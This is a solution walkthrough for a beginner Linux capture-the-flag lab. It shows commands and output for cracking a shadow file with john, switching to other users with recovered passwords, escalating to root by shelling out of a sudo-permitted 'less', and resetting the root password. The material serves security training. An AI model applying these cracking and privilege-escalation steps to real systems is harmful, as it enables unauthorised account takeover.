



## Solution Guide: Scavenger Hunt

### flag\_1:

Finding this flag is imperative to moving on quickly, as it contains the passwords from users before they were hacked. Luckily, it doesn't have a great hiding spot.

**Solution:** Listing *all* files in the student's home folder will reveal:

- ~/Desktop/.flag\_1
- ~/Desktop/.pass\_list.txt

Unset

```
student:~ $ ls -Ra
```

```
..:
```

```
.  .00-motd      .bashrc Documents .gnupg      Pictures
```

```
Public
```

```
.. .Bash_logout Desktop Downloads .hushlogin .profile
```

```
Videos
```

```
./Desktop
```

```
.  ..  .flag_1 .pass_list.txt
```

The contents of the `.flag_1` file read:

Unset

-----

You found 'flag\_1:\$1\$WYmnR327\$5C1yY4f1BxB1cLjkc92Tq.'

----- Nice work. Find 7 more. -----

## flag\_2:

A famous hacker had created a user on the system a year ago. Find this user, crack his password, and login to his account.

### Solution:

- The hacker is 'Kevin Mitnick'.
- Use these files to crack his password:
  - ~/Desktop/.pass\_list.txt
  - ~/my-files/shadow

Unset

```
student:~$ cd ~/Desktop/
student:Desktop\ $ john --wordlist=.pass_list.txt
../Documents/my-files/shadow
Created directory: /home/student/.john
Loaded 2 password hashes with 2 different salts (crypt, generic
crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein      (student)
trustno1     (mitnick)
2g 0:00:00:00 100% 3.030g/s 145.4p/s 290.9C/s 123456..webcam1
Use the "--show" option to display all of the cracked passwords
reliably
Session completed
student:Desktop\ $
student:Desktop\ $
student:Desktop\ $ john --show ../Documents/my-files/shadow
student:letmein:18197:0:99999:7:::
mitnick:trustno1:18197:0:99999:7:::

2 password hashes cracked, 0 left
student:Desktop\ $
student:Desktop\ $ su mitnick
Password:

You found flag_2:$1$PEDICYq8$6/U/a5Ykxw10P0.eSrMZ00
```

```
mitnick:Desktop\ $
```

The password for the mitnick user is: `trustno1`. Because the password changes happened *after* the machine was hacked, we can still log in as mitnick.

## flag\_3:

Find a `log` file related to the hacker's name and a `zip` file with additional info.

- Use a compound command to figure out the unique count of IP addresses in this log file. That number is a password.

### Solution:

- The unique number of IP addresses is the password for the hidden zip file. Opening that zip file will give you the credentials for the `babbage` user.
- Running `ls -Ra` in the `/home/mitnick` directory will show all the directories and files within them. The `.secret.zip` file is located in `/home/mitnick/Desktop`

Unset

```
mitnick:/\ $ cd /home/mitnick
mitnick:~\ $ls -Ra
.:
.  ..  .Bash_logout  .bashrc Desktop Documents  Downloads
Pictures  .profile  Public  Videos

./Desktop
.  ..

./Documents
.  ..  .secret.zip
```

The log file is located in `/var/log/mitnick.log`.

Unset

```
mitnick:~\ $ ls /var/log
alternatives.log  dpkg.log  lastlog  tallylog
```

```

apt          faillog    lxd          vboxadd-setup.log
auth.log     journal   mitnick.log  vboxadd-setup.log.1
btmpt       kern.log   samba        vboxadd-setup.log.3
dist-upgrade landscape  syslog       wtmp
mitnick:~\ $

```

Inspecting the file shows that the IP addresses are only at the beginning of each line.

```

Unset
73.211.34.100 "GET /bannerad/ad.htm HTTP/1.0" 200 198
"http://www.referrer.com/bannerad/ba_intro.htm" "Mozilla/4.01
(Macintosh; I; PPC)"
174.116.246.20 "GET /bannerad/ad.htm HTTP/1.0" 200 198
"http://www.referrer.com/bannerad/ba_intro.htm" "Mozilla/4.01
(Macintosh; I; PPC)"
23.135.3.168 "GET /bannerad/ad.htm HTTP/1.0" 200 198
"http://www.referrer.com/bannerad/ba_intro.htm" "Mozilla/4.01
(Macintosh; I; PPC)"
241.21.200.190 "GET /bannerad/ad.htm HTTP/1.0" 200 198
"http://www.referrer.com/bannerad/ba_intro.htm" "Mozilla/4.01
(Macintosh; I; PPC)"
111.58.233.100 "GET /bannerad/ad.htm HTTP/1.0" 200 198
"http://www.referrer.com/bannerad/ba_intro.htm" "Mozilla/4.01
(Macintosh; I; PPC)"
104.125.72.8 "GET /bannerad/ad.htm HTTP/1.0" 200 198
"http://www.referrer.com/bannerad/ba_intro.htm" "Mozilla/4.01
(Macintosh; I; PPC)"
122.201.225.11 "GET /bannerad/ad.htm HTTP/1.0" 200 198
"http://www.referrer.com/bannerad/ba_intro.htm" "Mozilla/4.01
(Macintosh; I; PPC)"
215.5.46.179 "GET /bannerad/ad.htm HTTP/1.0" 200 198
"http://www.referrer.com/bannerad/ba_intro.htm" "Mozilla/4.01
(Macintosh; I; PPC)"

```

We can create a compound command that counts the number of unique lines.

Unset

```
mitnick:~\ $ cat /var/log/mitnick.log | sort | uniq | wc -l
102
mitnick:~\ $
```

The password for the `/home/Documents/.secret.zip` is 102.

Unset

```
mitnick:~\ $ unzip ~/Documents/.secret.zip
Archive:  /home/mitnick/Documents/.secret.zip
[/home/mitnick/Documents/.secret.zip] babbage password:
  inflating: babbage
mitnick:~\ $ ls
babbage Desktop Documents Downloads Pictures Public Videos
mitnick:~\ $ cat babbage
-----
babbage : freedom
-----
```

The password for the `babbage` user is `freedom`.

Log in as `babbage` to find `flag_3`:

Unset

```
mitnick:~\ $ su babbage
Password:

You found flag_3:$1$Y9tp8XTi$m6pAR1bQ36oAh.At4G5s3.

babbage:mitnick\ $
```

## flag\_4:

Find a directory with a list of hackers. Look for a file that has `read` permissions for the owner, `no` permissions for groups, and `executable` only for everyone else.

## Solution:

Switch to the babbage home folder and list all his files:

```
Unset
babbage:mitnick\ $ cd /home/babbage/
babbage:~\ $ ls -Ra
.:
.Bash_logout  Desktop      Downloads    .profile     Videos
.bashrc       Documents    Pictures      Public

./Desktop:

./Documents:
ancheta      berners-lee  gonzalez     kernighan    mitnick      rossum
torvalds
anonymous    bevan        gosling      knuth        poulsen      stallman
wirth
assange      calce        hopper       lamo         pryce        stroustrup
woz
astra        gates        james        lovelace     ritchie      thompson
```

All of the hacker files are in his documents.

Switch to that directory and list all the permissions for those files.

```
Unset
babbage:Documents\ $ ls -l
total 4
--w--w-rwx 1 babbage babbage 0 Oct 30 21:05 ancheta
-rw-r--r-- 1 babbage babbage 0 Oct 30 21:05 anonymous
-rw-rw-rw- 1 babbage babbage 0 Oct 30 21:05 assange
---xrwxr-- 1 babbage babbage 0 Oct 30 21:05 astra
---x---r-- 1 babbage babbage 0 Oct 30 21:05 berners-lee
---xrwxr-- 1 babbage babbage 0 Oct 30 21:05 bevan
--w--w-rwx 1 babbage babbage 0 Oct 30 21:05 calce
-r-----x 1 babbage babbage 0 Oct 30 21:05 gates
-rw-r--r-- 1 babbage babbage 0 Oct 30 21:05 gonzalez
```

```

-r-----x 1 babbage babbage 0 Oct 30 21:05 gosling
-rw-rw-rw- 1 babbage babbage 0 Oct 30 21:05 hopper
---xrwxr-- 1 babbage babbage 0 Oct 30 21:05 james
---x---r-- 1 babbage babbage 0 Oct 30 21:05 kernighan
---x---r-- 1 babbage babbage 0 Oct 30 21:05 knuth
-rw-r--r-- 1 babbage babbage 0 Oct 30 21:05 lamo
-rwx-w---- 1 babbage babbage 0 Oct 30 21:05 lovelace
-rw-r--r-- 1 babbage babbage 0 Oct 30 21:05 mitnick
--w--w-rwx 1 babbage babbage 0 Oct 30 21:05 poulsen
--w--w-rwx 1 babbage babbage 0 Oct 30 21:05 pryce
-rw-rw-rw- 1 babbage babbage 0 Oct 30 21:05 ritchie
---xrwxr-- 1 babbage babbage 0 Oct 30 21:05 rossum
-r-----x 1 babbage babbage 5 Oct 30 20:10 stallman
-rw-rw-rw- 1 babbage babbage 0 Oct 30 21:05 stroustrup
---x---r-- 1 babbage babbage 0 Oct 30 21:05 thompson
-rwx-w---- 1 babbage babbage 0 Oct 30 21:05 torvalds
-rwx-w---- 1 babbage babbage 0 Oct 30 21:05 wirth
-r-----x 1 babbage babbage 0 Oct 30 21:05 woz

```

The files with `read` permissions for the owner, no permissions for groups, and `executable` only for everyone else translate to permissions `-r-----x`.

There are 4 files with these permissions:

Unset

```
babbage:Documents\ $ ls -l | grep "^-r\\-\\-\\-\\-\\-x"
```

```

-r-----x 1 babbage babbage 0 Oct 30 21:05 gates
-r-----x 1 babbage babbage 0 Oct 30 21:05 gosling
-r-----x 1 babbage babbage 5 Oct 30 20:10 stallman
-r-----x 1 babbage babbage 0 Oct 30 21:05 woz

```

The stallman file has contents.

Unset

```

babbage:Documents\ $ cat gates
babbage:Documents\ $ cat gosling

```

```
babbage:Documents\ $ cat woz
babbage:Documents\ $ cat stallman
computer
```

The password to the stallman user is `computer`.

Log in as Stallman.

```
Unset
babbage:Documents\ $ su stallman
Password:

You found flag_4:$1$1GQ7QprJ$m4eE.b8j hvsp8CNbuIF5U0

stallman:Documents\ $
```

## flag\_5:

This user is writing a Bash script, except it isn't quite working yet. Find it, debug it, and run it.

### Solution:

Change to stallman's home directory and find the script file located in `/home/stallman/Documents/flag5.sh`.

```
Unset
stallman:Documents\ $ cd
stallman:~\ $ ls -Ra
.:
.  .Bash_logout Desktop Downloads .profile Videos
.. .bashrc Documents Pictures Public

./Desktop:
.  ..

./Documents:
```



```
. .. flag5.sh
```

Make the script executable and run it.

Unset

```
stallman:~\ $ chmod +x Documents/flag5.sh
stallman:~\ $ cd Documents/
stallman:Documents\ $ ls
flag5.sh
stallman:Documents\ $ ./flag5.sh
./flag5.sh: line 4: syntax error near unexpected token `do'
./flag5.sh: line 4: `    do'
```

This syntax error says there's something wrong with line 4.

Look at the script. We can see that the first `for` loop has an extra `do`.

Unset

```
stallman:Documents\ $ head -6 flag5.sh
#!/bin/bash
width=72
for i in ${0}; do
    do
    lines="$(wc -l < $1 | sed 's/ //g')"
```

Remove one of the `dos`.

The head of the script should now read:

Unset

```
#!/bin/bash
width=72
for i in ${0}; do
    lines="$(wc -l < $1 | sed 's/ //g')"
```

Run the script again:

Unset

```
stallman:Documents\ $ ./flag5.sh
./flag5.sh: line 13: syntax error near unexpected token `else'
./flag5.sh: line 13: `         else'
```

Now there is an error on line 13.

Unset

```
file=$(cat /var/tmp/5galf)
  if [ ${#file} -gt $width ]
  echo "$file" | fmt | sed -e '$s/^/ /' -e '2,$s/^/+ /'
  else
  echo "  $file"
  fi
```

Notice that this `if` statement is missing the `then` declaration.

Add the `then`:

Unset

```
file=$(cat /var/tmp/5galf)
  if [ ${#file} -gt $width ]
  then
  echo "$file" | fmt | sed -e '$s/^/ /' -e '2,$s/^/+ /'
  else
  echo "  $file"
  fi
```

Run the script again:

Unset

```
stallman:Documents\ $ ./flag5.sh
./flag5.sh: line 4: $1: ambiguous redirect
./flag5.sh: line 5: $1: ambiguous redirect
```

```
-----
File ( lines,  characters, owned by stallman):
-----
```

```
-----  
+  
+ You found flag_5:$1$zuzYyKCN$secHwYBXIELGq0v8rWzG00  
+  
+ ----- sysadmin : passw0rd -----  
-----
```

Here we have flag\_5.

The password for the `sysadmin` user is `passw0rd`.

### Alternate solution:

Notice inside the script the line:

```
Unset  
file=$(cat /var/tmp/5galf)
```

`5galf` is the location of flag\_5.

You can open this file directly to get the flag without fixing the script.

```
Unset  
stallman:Documents\ $ cat /var/tmp/5galf  
-----  
  
flag_5:$1$zuzYyKCN$secHwYBXIELGq0v8rWzG00  
  
----- sysadmin : passw0rd -----
```

## flag\_6:

Inspect this user's custom aliases.

### Solution 1:

Log in as the `sysadmin` user and look for aliases in the `.bashrc` file.

Unset

```
stallman:Documents\ $ su sysadmin
Password:
sysadmin:Documents\ $ cd
sysadmin:~\ $ nano .bashrc
```

Find the `#Alias definitions` section:

Unset

```
# Alias definitions.
alias flag="echo You found
'flag_6:$1$Qbq.XLLp$oj.BXuxR2q99bJwNEFhSH1' "
```

Run the `flag` alias.

Unset

```
sysadmin:~\ $ flag
You found flag_6:$1$Qbq.XLLp$oj.BXuxR2q99bJwNEFhSH1
sysadmin:~\ $
```

## Solution 2:

Run the `alias` command to list all this user's custom aliases and find the `flag` alias:

Unset

```
sysadmin:~\ $ alias
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo
terminal || echo error)" "$(history|tail -n1|sed -e
'\''s/^\s*[0-9]+\s*//;s/[;&|]\s*alert$//'\''')"'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias flag='echo You found
'flag_6:$1$Qbq.XLLp$oj.BXuxR2q99bJwNEFhSH1\' '
alias grep='grep --color=auto'
alias l='ls -CF'
alias la='ls -A'
alias ll='ls -alF'
```

```
alias ls='ls --color=auto'
sysadmin:~\ $
```

Find an exploit to gain a root shell.

### Solution:

Look at the `sudo` permissions for sysadmin:

```
Unset
sysadmin:~\ $ sudo -l
[sudo] password for sysadmin:
Matching Defaults entries for sysadmin on scavenger-hunt:
    env_reset, exempt_group=sudo, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\
:/sbin\:/bin\:/snap/bin

User sysadmin may run the following commands on
    scavenger-hunt:
    (ALL : ALL) /usr/bin/less
```

You have the ability to run `less` with `sudo`.

Run `less` on a file and drop to a root shell:

```
Unset
sysadmin:~\ $ touch file && sudo less file
```

Once inside `less`, open a Bash shell with `:` then `!Bash`.

```
Unset
sysadmin:~\ $ touch file && sudo less file
root:~\ $
```

**flag\_7:**

Log in as the root user.

**Solution:** Now that you have a root shell, change the password for the root user and then log in as root.

Unset

```
root:~\ $ passwd
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root:~\ $ exit
exit
!done (press RETURN)
sysadmin:~\ $ su root
Password:
```

You found flag\_7:\$1\$zmr05X2t\$Qf0deJVDpph5pBPpVL6oy0

```
root@scavenger-hunt:/home/sysadmin#
```

## flag\_8:

Gather each of the 7 flags into a file and format it as if each flag was a username and password.

Crack these passwords for the final flag.

**Solution:**

Now that you have root access, you can search for all the flags (for non-root users) on the entire system and pull them into one file.

Unset

```
root@scavenger-hunt:~# grep -ir 'flag' /home/
/home/student/.Bash_history:cat ~/Desktop/.flag_1
/home/student/Desktop/.flag_1: You found
'flag_1:$1$WYmnR327$5C1yY4f1BxB1cLjkc92Tq.'
```

```
/home/babbage/.bashrc:echo You found
'flag_3:$1$Y9tp8XTi$m6pAR1bQ36oAh.At4G5s3.'
```

```
/home/stallman/.bashrc:echo You found
'flag_4:$1$1GQ7QprJ$m4eE.b8j hvsp8CNbuIF5U0'
/home/mitnick/.bashrc:echo You found
'flag_2:$1$PEDICYq8$6/U/a5Ykxw10P0.eSrMZ00'
/home/sysadmin/.bashrc:alias flag="echo You found
'flag_6:\$1\$Qbq.XLLp\$oj.BXuxR2q99bJwNEFhSH1' "
```

Output these results to a file called `flags`:

Unset

```
root@scavenger-hunt:~# grep -ir 'flag' /home/ > flags
```

Next, append `flag_5` from the `/var/tmp/5galf` to the `flags` file:

Unset

```
root@scavenger-hunt:~# cat /var/tmp/5galf >> flags
```

Append in `flag_7` from the `root's .bashrc` file:

Unset

```
root@scavenger-hunt:~# grep -r 'flag' /root/.bashrc
echo You found 'flag_7:$1$zmr05X2t$Qf0deJVDpph5pBPpVL6oy0'
root@scavenger-hunt:~# grep -r 'flag' /root/.bashrc >> flags
```

Edit your `flags` file with `nano` to remove all extraneous text and characters, to look like this:

Unset

```
flag_1:$1$WYmnR327$5C1yY4f1BxB1cLjkc92Tq.
flag_2:$1$PEDICYq8$6/U/a5Ykxw10P0.eSrMZ00
flag_3:$1$Y9tp8XTi$m6pAR1bQ36oAh.At4G5s3.
flag_4:$1$1GQ7QprJ$m4eE.b8j hvsp8CNbuIF5U0
flag_5:$1$zuzYyKCN$secHwYBXIELGq0v8rWzG00
flag_6:$1$Qbq.XLLp$oj.BXuxR2q99bJwNEFhSH1
flag_7:$1$zmr05X2t$Qf0deJVDpph5pBPpVL6oy0
```

- **Note:** Be sure to remove the `\` backslashes from `flag_6`.
  - *Alternatively*, as `sysadmin`, pipe the `flag` alias to `flags` with `flag >> flags`.

- Be sure to remove any duplicates.
- Don't forget to remove all quotation marks!

The `flags` file is now in a `username:hashed-password` format ready to be cracked by `john`!

Crack this file with `john` and the `pass_list.txt` you found in the `/home/student/Desktop/.pass_list.txt`.

Unset

```
root@scavenger-hunt:~# john
--wordlist=/home/student/Desktop/.pass_list.txt flags
Created directory: /root/.john
Loaded 7 password hashes with 7 different salts (md5crypt [MD5
32/64 X2])
Press 'q' or Ctrl-C to abort, almost any other key for status
Congratulations (flag_1)
challenge.      (flag_7)
this            (flag_5)
You             (flag_2)
cyber           (flag_6)
completed       (flag_4)
6g 0:00:00:00 100% 17.14g/s 2577p/s 15165c/s 15165C/s 0000..00
Use the "--show" option to display all of the cracked passwords
reliably
Session completed
root@scavenger-hunt:~#
root@scavenger-hunt:~#
root@scavenger-hunt:~# john --show flags
flag_1:Congratulations
flag_2:You
flag_3:have
flag_4:completed
flag_5:this
flag_6:cyber
flag_7:challenge.

7 password hashes cracked, 0 left
root@scavenger-hunt:~#
```